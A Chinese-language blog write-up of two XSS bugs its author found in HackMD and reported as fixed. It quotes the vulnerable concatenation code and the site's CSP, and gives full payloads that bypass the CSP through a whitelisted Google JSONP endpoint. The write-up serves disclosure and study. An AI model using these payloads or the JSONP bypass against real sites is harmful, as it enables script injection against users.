幾個 HackMD XSS

在 AIS3 的期間無聊到 HackMD 上玩了玩,找到了兩個 XSS 的點並成功 bypass CSP 拿到了 XSS。已回報給官方並修復好了。

XSS 1

關鍵 code:

1
2
3
4
5
6
7
8
9
10
11
12
13
t.find('span.figma.raw')
.filter(r)
.removeClass('raw')
.each(function (t, n) {
var r = e(n).attr('data-figma-src'),
i = e(
'<iframe\n height="450"\n width="800"\n src="'.concat(
r,
'"\n allowfullscreen\n style="width: 100%"\n ></iframe>'
)
)
e(this).append(i)
})

可以看到它會選取 span.figma.raw,然後取 data-figma-src 的值和 html concat,所以有個很簡單的 xss。不過因為有 CSP 所以還是得繞一下 CSP 才行:

1
default-src 'none'; script-src 'self' vimeo.com https://gist.github.com www.slideshare.net 'unsafe-eval' https://assets.hackmd.io https://www.google.com https://apis.google.com https://docs.google.com https://www.dropbox.com https://*.disqus.com https://*.disquscdn.com https://www.google-analytics.com https://stats.g.doubleclick.net https://secure.quantserve.com https://rules.quantcount.com https://pixel.quantserve.com https://static.hotjar.com https://script.hotjar.com https://www.googletagmanager.com https://cdn.ravenjs.com https://browser.sentry-cdn.com https://js.stripe.com 'nonce-469e4147-0c32-4c3b-b6f1-aa8495a9b035' 'sha256-EtvSSxRwce5cLeFBZbvZvDrTiRoyoXbWWwvEVciM5Ag=' 'sha256-NZb7w9GYJNUrMEidK01d3/DEtYztrtnXC/dQw7agdY4=' 'sha256-L0TsyAQLAc0koby5DCbFAwFfRs9ZxesA+4xg0QDSrdI=' 'sha256-8HvL1KRq6jEwDkuVgxMDK7Gag1vnT70L0Lfoa1E3YsY=' 'sha256-81acLZNZISnyGYZrSuoYhpzwDTTxi7vC1YM4uNxqWaM='; img-src * data:; style-src 'self' 'unsafe-inline' https://assets-cdn.github.com https://github.githubassets.com https://assets.hackmd.io https://www.google.com https://fonts.gstatic.com https://*.disquscdn.com; font-src 'self' data: https://public.slidesharecdn.com https://assets.hackmd.io https://*.disquscdn.com https://script.hotjar.com; object-src *; media-src *; frame-src *; child-src *; connect-src *; base-uri 'none'; form-action 'self' https://www.paypal.com; upgrade-insecure-requests

可以知道 www.google.com 在允許名單中,而它上面存在一個很自由的 jsonp endpoint 可以利用:

1
https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(document.domain)//

用這個就能直接 xss 了,統整起來得到完整的 payload:

1
2
3
<span class="figma raw" data-figma-src='"></iframe>peko<script src="https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(document.domain)//"></script><span "'>
kusa
</span>

XSS 2

關鍵 code:

1
2
3
4
5
6
7
8
9
10
11
t.find('.color-indicator.rough')
.filter(r)
.removeClass('rough')
.each(function (t, n) {
e(n).append(
'<span class="ml-1 inline-block rounded-sm" style="background-color: '.concat(
n.textContent,
'; width: 10px; height: 10px;"></span>'
)
)
})

一樣和前面有類似情況,然後用一樣的 csp 繞法一樣能得到 xss。

1
2
3
4
<span class="color-indicator rough">
&quot;&gt;&lt;script src='https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(document.domain)//'&gt;&lt;/script&gt;
kusa
</span>